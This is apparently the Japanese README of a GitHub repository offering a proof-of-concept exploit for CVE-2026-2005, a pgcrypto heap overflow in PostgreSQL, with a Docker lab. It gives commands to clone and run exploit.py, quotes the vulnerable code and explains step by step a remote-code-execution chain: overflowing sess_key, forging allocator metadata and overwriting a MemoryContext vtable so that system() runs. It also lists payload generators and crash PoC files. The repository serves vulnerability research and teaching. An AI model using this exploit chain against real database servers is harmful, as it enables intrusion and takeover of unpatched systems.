
CVE-2026-2005のエクスプロイト。PostgreSQLのpgcrypto拡張機能におけるヒープオーバーフローを利用し、リモートコード実行につなげます。PoCジェネレーター、Dockerラボ、詳細な技術解説を含みます。
| CVE | CVE-2026-2005 |
| コンポーネント | contrib/pgcrypto/pgp-pubdec.c |
| CWE | CWE-122 (ヒープベースのバッファオーバーフロー) |
| CVSSv3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| 影響を受けるバージョン | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| 修正済みバージョン | 14.21, 15.16, 16.12, 17.8, 18.2 |
| 公開日 | 2026-02-12 |
| 修正コミット | 379695d3cc70d040b547d912ce4842090d917ece |



git clone https://github.com/dinosn/cve-2026-2005.git
cd cve-2026-2005/lab
docker compose up -d pg-exploit
# postgresの初期化に約5秒待機
python3 ../poc/exploit.py --run cve-2026-2005-pg-exploit

// contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey()
ctx->cipher_algo = *msg;
ctx->sess_key_len = msglen - 3; // 攻撃者が制御可能
memcpy(ctx->sess_key, msg + 1, ctx->sess_key_len); // sess_keyはuint8[32]
ctx->sess_keyは、ヒープ割り当てされたPGP_Context構造体に埋め込まれた固定32バイトのバッファです。過大なRSA暗号化セッションキーを含む細工されたPGPメッセージにより、sess_key_lenが約200バイトまで引き上げられ、隣接するヒープ割り当て領域にオーバーフローします。修正ではsess_key_len > PGP_MAX_KEYの境界チェックが追加されています。
sess_key[32]を超える148バイトのオーバーフローにより、偽のアロケータメタデータが隣接するMBuf割り当て領域に書き込まれますMBuf->data = NULLを設定し、クリーンアップ中にexplicit_bzeroがスキップされるようにしますhdrmaskがblockoffset=64にデコードされ、ブロックポインタを攻撃者が制御するデータにリダイレクトしますAllocSetFreeがチャンクアドレスをMC+16(MemoryContext->methodsフィールド)に書き込み、vtableポインタを置き換えますMemoryContextDelete(MC)が偽のvtableを通じてmethods->delete_context(MC)を呼び出します → system(MC)system()がMemoryContext構造体を文字列として読み取ります: NodeTag 0x1D5 = "\xd5\x01\x00\x00" → /usr/local/bin/\xd5\x01を実行しますpgcrypto拡張機能がインストールされていること(CREATE EXTENSION pgcrypto)/usr/local/bin/\xd5\x01に事前配置されたトリガースクリプト(Dockerfile.exploitに含まれています)├── README.md
├── poc/
│ ├── exploit.py # 自己完結型エクスプロイト生成・実行ツール
│ ├── gen_exploit_v7.py # 注釈付きペイロードビルダー
│ ├── gen_payload.py # クラッシュ専用PoCジェネレーター(全オーバーフローサイズ)
│ ├── poc_big.sql # 事前生成されたクラッシュPoC(SIGSEGV)
│ └── poc_minimal.sql # 最小4バイトオーバーフローPoC
├── lab/
│ ├── docker-compose.yml # 完全なラボ: 脆弱、修正済み、デバッグ、エクスプロイト
│ ├── Dockerfile.exploit # リリースビルド + トリガースクリプト(RCEターゲット)
│ ├── Dockerfile.vuln # 標準の脆弱ビルド(クラッシュデモ)
│ ├── Dockerfile.debug # Cassertビルド(アサーションデモ)
│ ├── init.sql # データベース初期化
│ └── setup.sh # ラボセットアップヘルパー
├── reports/
│ ├── RCE-CHAIN.md # 詳細な技術的エクスプロイト解説書
│ ├── REPORT.md # 脆弱性分析レポート
│ └── TODO-FOR-RCE.md # 開発ログ(完了済み)
├── screenshots/
│ ├── 01-target-verification.png
│ ├── 02-exploit-fire.png
│ ├── 03-rce-proof.png
│ └── 04-full-run.png
└── src/ # 関連ソースコードの抜粋
| コンテナ | ポート | 目的 |
|---|---|---|
pg-exploit | 5436 | RCEターゲット(標準17.7 + トリガースクリプト) |
pg-vuln | 5433 | クラッシュデモ(標準17.7、SIGSEGV) |
pg-fixed | 5434 | 修正済みビルド(17.8、ペイロードを拒否) |
pg-debug | 5435 | デバッグビルド(ソース属性付きのcassert SIGABRT) |
# すべてのコンテナを起動
cd lab && docker compose up -d
# クラッシュデモ(標準ビルドでSIGSEGV)
docker exec cve-2026-2005-pg-vuln psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-vuln 2>&1 | grep "signal 11"
# 修正済みビルド(正常に拒否)
docker exec cve-2026-2005-pg-fixed psql -U postgres -d lab -f /tmp/poc_big.sql
# ERROR: Public key too big
# デバッグビルド(ファイル:行番号付きのアサーション)
docker exec cve-2026-2005-pg-debug psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-debug 2>&1 | grep "TRAP"
postgres:17.7-bookworm Dockerイメージに固有のハードコードされたヒープアドレスを使用します。異なるビルド・環境ではアドレスの再調整(GDBまたは情報漏洩による)が必要です。SELECT digest('x','md5'))により、エクスプロイトクエリの前にヒープレイアウトが安定化されます。\xd5\x01という名前のバイナリが必要です。Dockerfileがこれを事前にインストールします。実世界での悪用には、事前の書き込みアクセスまたは別のROP/one-gadgetアプローチが必要です。--enable-cassert付きのデバッグビルドでは、フリーリスト書き込みの前にアサーションで中断されます。379695d)このエクスプロイトは、許可されたセキュリティ研究および教育目的のみで提供されています。明示的な許可を得た管理されたラボ環境でのみ使用してください。